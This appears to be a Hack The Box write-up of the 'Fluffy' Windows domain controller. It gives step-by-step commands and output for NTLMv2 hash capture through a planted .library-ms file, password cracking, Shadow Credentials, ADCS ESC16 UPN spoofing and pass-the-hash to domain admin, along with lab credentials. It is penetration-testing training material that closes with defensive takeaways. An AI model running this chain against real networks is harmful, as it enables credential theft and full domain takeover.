> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/cpts-path/fluffy-htb-writeup-or-by-alham-rizvi.md).

# Fluffy - HTB Writeup | By Alham Rizvi

<figure><img src="/files/HYoRnmMdJqhK6unayu6S" alt=""><figcaption></figcaption></figure>

> **Hack The Box Machine**\
> **Name:** Fluffy\
> **Difficulty:** Medium\
> **OS:** Windows Server 2019 (Domain Controller)\
> **Date:** 2026-07-16

***

### Box Info

| Field      | Detail                                               |
| ---------- | ---------------------------------------------------- |
| Name       | [Fluffy](https://app.hackthebox.com/machines/Fluffy) |
| OS         | Windows Server 2019 (Build 17763)                    |
| Difficulty | Medium                                               |
| Domain     | `fluffy.htb`                                         |
| Hostname   | `DC01.fluffy.htb`                                    |

***

### Overview

Fluffy is a Medium Windows Domain Controller machine that chains together several Active Directory attack techniques. The foothold is gained via an SMB share (`IT`) containing software installers and a KeePass database file. From there, the attack path progresses through:

1. **SMB Share Enumeration** – The `IT` share contains installers for Everything and KeePass, along with an `Upgrade_Notice.pdf`.
2. **NTLMv2 Hash Capture** – Uploading a malicious `.library-ms` file triggers a connection back, capturing the NTLMv2 hash of `p.agila`.
3. **Hash Cracking** – The hash is cracked using John the Ripper, revealing the password `prometheusx-303`.
4. **BloodHound Enumeration** – With `p.agila`'s credentials, BloodHound reveals that `p.agila` has `GenericWrite` over the `SERVICE ACCOUNTS` group, which has `GenericWrite` over `CA_SVC`, `LDAP_SVC`, and `WINRM_SVC`.
5. **Shadow Credentials Attack** – Using `certipy-ad shadow`, we add a Key Credential to `WINRM_SVC`, retrieve its NT hash, and gain WinRM access as `winrm_svc`.
6. **User Flag** – Retrieved from `winrm_svc`'s Desktop.
7. **ADCS ESC16 Exploitation** – Using `CA_SVC`'s credentials (also obtained via Shadow Credentials), we modify its `userPrincipalName` to `administrator`, request a certificate as the Administrator, and authenticate via PKINIT.
8. **Domain Admin** – The Administrator's NT hash is recovered, granting full domain admin access.

***

### 1. Reconnaissance

#### 1.1 Port Scanning

A full port scan reveals a typical Domain Controller footprint:

```bash
$ nmap -p- -sS -sV -n -Pn 10.129.232.88
```

**Key open ports:**

| Port     | Service        | Notes                     |
| -------- | -------------- | ------------------------- |
| 53/tcp   | DNS            | Simple DNS Plus           |
| 88/tcp   | Kerberos       | Domain authentication     |
| 139/tcp  | NetBIOS        | SMB name service          |
| 389/tcp  | LDAP           | Active Directory LDAP     |
| 445/tcp  | SMB            | File sharing              |
| 464/tcp  | kpasswd5       | Kerberos password change  |
| 593/tcp  | RPC over HTTP  | Microsoft RPC             |
| 636/tcp  | LDAPS          | LDAP over SSL             |
| 3268/tcp | LDAP           | Global Catalog            |
| 3269/tcp | LDAPS          | Global Catalog over SSL   |
| 5985/tcp | WinRM          | Windows Remote Management |
| 9389/tcp | .NET Framework | AD DS Web Services        |

The domain is `fluffy.htb` with hostname `DC01.fluffy.htb`. Add both to `/etc/hosts`:

```bash
$ echo "10.129.232.88 fluffy.htb DC01.fluffy.htb" | sudo tee -a /etc/hosts
```

***

### 2. SMB Enumeration – Initial Access

#### 2.1 Credential Validation

We have a set of credentials: `j.fleischman:J0elTHEM4n1990!`. Validate them with `netexec`:

```bash
$ netexec smb 10.129.232.88 -u j.fleischman -p 'J0elTHEM4n1990!' --shares
SMB         10.129.232.88   445    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
SMB         10.129.232.88   445    DC01             IT              READ,WRITE
```

The `IT` share is both readable and writable.

#### 2.2 Enumerating the IT Share

```bash
$ smbclient //fluffy.htb/IT -U j.fleischman --password='J0elTHEM4n1990!'
smb: \> ls
  Everything-1.4.1.1026.x64           D        0  Wed Aug 13 07:01:50 2025
  Everything-1.4.1.1026.x64.zip       A  1827464  Fri Apr 18 11:04:05 2025
  KeePass-2.58                        D        0  Fri Apr 18 11:08:38 2025
  KeePass-2.58.zip                    A  3225346  Fri Apr 18 11:03:17 2025
  Upgrade_Notice.pdf                  A   169963  Sat May 17 10:31:07 2025
```

We download `Upgrade_Notice.pdf` (no useful content) and note that the share contains installers. The presence of KeePass suggests credential storage.

#### 2.3 NTLMv2 Hash Capture via `.library-ms` File

`.library-ms` (Library Description) files on Windows can be used to trigger authentication to remote SMB servers. We create a malicious `.library-ms` file and upload it to the IT share. When a user opens the share (e.g., via Windows Explorer), the file is parsed and triggers an SMB connection back to our attacker machine, capturing the user's NTLMv2 hash.

**Upload the file:**

```bash
smb: \> put exp.library-ms.zip
```

**Capture the hash on our listener (Impacket's `smbserver` or Responder):**

```
[SMB] NTLMv2-SSP Username : FLUFFY\p.agila
[SMB] NTLMv2-SSP Hash     : p.agila::FLUFFY:a425ef66d40dc1cf:F03FA30F96A0D8BA2E6D0C424F04EB6D:...
```

The hash belongs to user `p.agila`.

#### 2.4 Cracking the Hash

```bash
$ john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=netntlmv2
prometheusx-303  (p.agila)
```

Password: **`prometheusx-303`**

***

### 3. Active Directory Enumeration

#### 3.1 BloodHound

We now have valid credentials for `p.agila`. Run BloodHound to map the domain:

```bash
$ bloodhound-python -u p.agila -p 'prometheusx-303' -d fluffy.htb -ns 10.129.232.88 -c All
```

**Key findings from BloodHound:**

* `p.agila` is a member of the `SERVICE ACCOUNTS` group.
* The `SERVICE ACCOUNTS` group has `GenericWrite` over three service accounts: `CA_SVC`, `LDAP_SVC`, and `WINRM_SVC`.
* `GenericWrite` allows us to add a Shadow Credential to these accounts.

#### 3.2 Adding p.agila to SERVICE ACCOUNTS (if not already)

```bash
$ bloodyAD --host 10.129.232.88 -d fluffy.htb -u p.agila -p 'prometheusx-303' add groupMember 'SERVICE ACCOUNTS' p.agila
[+] p.agila added to SERVICE ACCOUNTS
```

***

### 4. Shadow Credentials Attack – WINRM\_SVC

#### 4.1 What are Shadow Credentials?

**Shadow Credentials** (also known as Key Credentials) are a feature of Windows Hello for Business. They allow a user to authenticate using a public/private key pair instead of a password. The public key is stored in the `msDS-KeyCredentialLink` attribute of the user object.

If an attacker has `GenericWrite` over a target user, they can add their own Key Credential to the target's `msDS-KeyCredentialLink`. Then, using the corresponding private key, they can request a Kerberos TGT as that user and retrieve their NT hash.

**Tools:** `certipy-ad shadow`

#### 4.2 Fixing Time Skew

Kerberos requires the system clock to be within 5 minutes of the Domain Controller. We sync the time:

```bash
$ sudo ntpdate fluffy.htb
2025-08-19 19:52:27.875343 (+1000) +25230.292833 +/- 0.112998 fluffy.htb
$ date
Tue Aug 19 19:52:35 AEST 2025
```

#### 4.3 Executing Shadow Credentials on WINRM\_SVC

```bash
$ certipy-ad shadow auto -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -account 'WINRM_SVC' -dc-ip '10.129.232.88'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'winrm_svc'
[*] Generating certificate
[*] Adding Key Credential to 'winrm_svc'
[*] Successfully added Key Credential
[*] Authenticating as 'winrm_svc' with the certificate
[*] Got TGT
[*] Restoring the old Key Credentials
[*] Successfully restored the old Key Credentials
[*] NT hash for 'winrm_svc': [REDACTED]
```

#### 4.4 WinRM Access as winrm\_svc

```bash
$ evil-winrm -i fluffy.htb -u 'winrm_svc' -H '[REDACTED]'
*Evil-WinRM* PS C:\Users\winrm_svc\Desktop> type user.txt
[REDACTED]
```

**User flag obtained.**

***

### 5. ADCS ESC16 – Privilege Escalation to Domain Admin

#### 5.1 What is ESC16?

**ESC16** exploits weak certificate mapping in Active Directory Certificate Services (ADCS). If an attacker has `GenericWrite` over a user account that can enroll certificates, they can:

1. Modify the target user's `userPrincipalName` (UPN) to the UPN of a privileged account (e.g., `administrator`).
2. Request a certificate with the modified UPN.
3. The certificate is issued with the privileged UPN.
4. Authenticate using the certificate via PKINIT, obtaining the privileged account's NT hash.

**Prerequisites:**

* `GenericWrite` over a user that can enroll certificates (we have this via `p.agila` → `SERVICE ACCOUNTS` → `CA_SVC`).
* The `User` template must allow enrollment.
* The domain must not be patched against strong certificate mapping (or we use ESC16 to bypass).

#### 5.2 Obtaining CA\_SVC's NT Hash via Shadow Credentials

```bash
$ certipy-ad shadow auto -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -account 'ca_svc' -dc-ip '10.129.232.88'
[*] NT hash for 'ca_svc': [REDACTED]
```

#### 5.3 Enumerating ADCS with certipy

```bash
$ certipy-ad find -vulnerable -u CA_SVC -hashes ":[REDACTED]" -dc-ip 10.129.232.88
```

**Output excerpt:**

```
CA Name                             : fluffy-DC01-CA
User Specified SAN                  : Disabled
[!] Vulnerabilities
      ESC16                             : Security Extension is disabled.
```

ESC16 is exploitable because the **Security Extension is disabled**, allowing certificate mapping to be bypassed.

#### 5.4 The ESC16 Exploit Chain

**Step 1 – Modify CA\_SVC's UPN to Administrator**

```bash
$ certipy-ad account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -target 'fluffy.htb' -upn 'administrator' -user 'CA_SVC' update
[*] Successfully updated 'ca_svc'
```

**Step 2 – Request a Certificate as Administrator**

```bash
$ certipy-ad req -k -dc-ip '10.129.232.88' -target 'DC01.FLUFFY.HTB' -ca 'fluffy-DC01-CA' -template 'User'
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator'
[*] Saving certificate and private key to 'administrator.pfx'
```

**Step 3 – Restore CA\_SVC's Original UPN**

```bash
$ certipy-ad account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.129.232.88' -upn 'ca_svc@fluffy.htb' -user 'ca_svc' update
[*] Successfully updated 'ca_svc'
```

**Step 4 – Authenticate with the Certificate**

```bash
$ certipy-ad auth -dc-ip '10.129.232.88' -pfx 'administrator.pfx' -username 'administrator' -domain 'fluffy.htb'
[*] Certificate identities:
[*]     SAN UPN: 'administrator'
[*] Got TGT
[*] Got hash for 'administrator@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:[REDACTED]
```

#### 5.5 WinRM as Administrator

```bash
$ evil-winrm -i fluffy.htb -u 'administrator' -H '[REDACTED]'
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
[REDACTED]
```

**Root flag obtained.**

***

### 6. Active Directory Concepts Explained

#### 6.1 Kerberos Authentication

Kerberos is the default authentication protocol in Active Directory. It uses a **Ticket Granting Ticket (TGT)** obtained from the **Key Distribution Center (KDC)** to request service tickets. Two key points:

* **Time Skew:** Kerberos tickets are timestamped. If the client's clock differs from the KDC's by more than 5 minutes, authentication fails (`KRB_AP_ERR_SKEW`). Fixing the clock with `ntpdate` is critical.
* **PKINIT:** Allows authentication using X.509 certificates instead of passwords. `certipy-ad auth` uses PKINIT to obtain a TGT from a certificate.

#### 6.2 NT Hash and Pass‑the‑Hash

The **NT hash** is the MD4 hash of a user's password. Windows does not store plaintext passwords; it stores the NT hash. SMB, Kerberos (with RC4), and other protocols accept the NT hash directly for authentication. Tools like `evil-winrm` support Pass‑the‑Hash (`-H` flag).

#### 6.3 Shadow Credentials

Shadow Credentials are part of Windows Hello for Business. A Key Credential is a public/private key pair stored in the `msDS-KeyCredentialLink` attribute. Any user with `GenericWrite` or `GenericAll` over another user can add a Key Credential to that user's attribute. The attack flow:

1. Attacker adds a Key Credential to the target user.
2. Attacker uses the private key to authenticate via PKINIT.
3. Attacker obtains the target user's TGT and NT hash.
4. Attacker removes the Key Credential (cleanup).

#### 6.4 GenericWrite and Delegation

`GenericWrite` is a powerful Active Directory permission that allows an attacker to modify any attribute of a target object. Common abuses:

* **Shadow Credentials** (adding `msDS-KeyCredentialLink`).
* **Kerberoasting** (adding a Service Principal Name to a user, then requesting their Kerberos ticket).
* **Password reset** (if allowed by the ACL).

#### 6.5 ADCS and ESC Classes

**Active Directory Certificate Services (ADCS)** is Microsoft's PKI solution. Certificate templates define what certificates can be issued. Common ESC vulnerabilities:

* **ESC1**: The template allows the enrollee to specify a Subject Alternative Name (SAN). An attacker can request a certificate with the SAN of a privileged user.
* **ESC4**: The attacker has `WriteProperty` over a template and can modify its configuration.
* **ESC7**: The attacker has `ManageCA` or `ManageCertificates` rights on the CA.
* **ESC8**: NTLM relay to ADCS web enrollment.
* **ESC9/ESC16**: Weak certificate mapping with no SID or security extension, allowing UPN spoofing.

**ESC16** exploits a missing or disabled **Security Extension** in the CA certificate. When the Security Extension is disabled, certificate mapping is weak, and UPN spoofing becomes possible (as we did with `CA_SVC` → `administrator`).

#### 6.6 UPN Spoofing (ESC16)

The **userPrincipalName (UPN)** is the primary login identifier in AD (e.g., `user@domain.com`). Certificate mapping can be based on the UPN. If an attacker can modify a user's UPN (via `GenericWrite`), they can:

1. Change a service account's UPN to `administrator`.
2. Request a certificate with that UPN.
3. Restore the original UPN.
4. Authenticate as `administrator`.

This bypasses strong certificate mapping because the certificate is issued with the correct UPN, and the CA does not enforce a SID binding.

***

### 7. Attack Chain Summary

```mermaid
flowchart TD
    A[Recon: nmap] --> B[SMB: IT share with READ/WRITE]
    B --> C[Upload .library-ms file]
    C --> D[Capture NTLMv2 hash of p.agila]
    D --> E[Crack hash: prometheusx-303]
    E --> F[BloodHound: p.agila has GenericWrite over SERVICE ACCOUNTS]
    F --> G[SERVICE ACCOUNTS has GenericWrite over WINRM_SVC, CA_SVC]
    G --> H[Shadow Credentials on WINRM_SVC]
    H --> I[WinRM as winrm_svc → user flag]
    G --> J[Shadow Credentials on CA_SVC]
    J --> K[Certipy find: ESC16 vulnerable]
    K --> L[Modify CA_SVC UPN → administrator]
    L --> M[Request certificate as administrator]
    M --> N[Restore CA_SVC UPN]
    N --> O[Certipy auth → Administrator NT hash]
    O --> P[WinRM as Administrator → root flag]
```

***

### 8. Key Takeaways

1. **SMB shares are powerful attack vectors** – The `IT` share allowed file uploads, which triggered an NTLM authentication back to our listener. Always restrict write access to sensitive shares.
2. **`GenericWrite` is a critical permission** – It enables Shadow Credentials, UPN spoofing, and other privilege escalation techniques. Regularly audit users/groups with `GenericWrite` over sensitive objects.
3. **Shadow Credentials bypass password policies** – Even if the password is strong, an attacker can add a Key Credential to authenticate. Monitor `msDS-KeyCredentialLink` modifications.
4. **ADCS misconfigurations are common** – ESC16 (disabled Security Extension) allowed UPN spoofing. Always enable the Security Extension and enforce strong certificate mapping.
5. **Time skew kills Kerberos** – Always sync time with `ntpdate` before running Kerberos‑based attacks.
6. **Certificate-based authentication is powerful** – Once an attacker has a valid certificate for a privileged user, they can get the NT hash without ever knowing the password.

***

### 9. Tools Used

| Tool                      | Purpose                                                  |
| ------------------------- | -------------------------------------------------------- |
| `nmap`                    | Port and service enumeration                             |
| `netexec`                 | SMB share enumeration and credential validation          |
| `smbclient`               | Interacting with the IT share                            |
| `Responder` / `smbserver` | Capturing NTLMv2 hashes                                  |
| `john`                    | Cracking NTLMv2 hashes                                   |
| `bloodhound-python`       | AD privilege mapping                                     |
| `certipy-ad`              | Shadow Credentials, ADCS enumeration, ESC16 exploitation |
| `evil-winrm`              | WinRM shell access                                       |
| `ntpdate`                 | Time synchronization for Kerberos                        |

***

### 10. Flags

| Flag | User            | Hash/File    |
| ---- | --------------- | ------------ |
| User | `winrm_svc`     | `[REDACTED]` |
| Root | `Administrator` | `[REDACTED]` |

***

*Machine pwned – Happy Hacking!*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/cpts-path/fluffy-htb-writeup-or-by-alham-rizvi.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
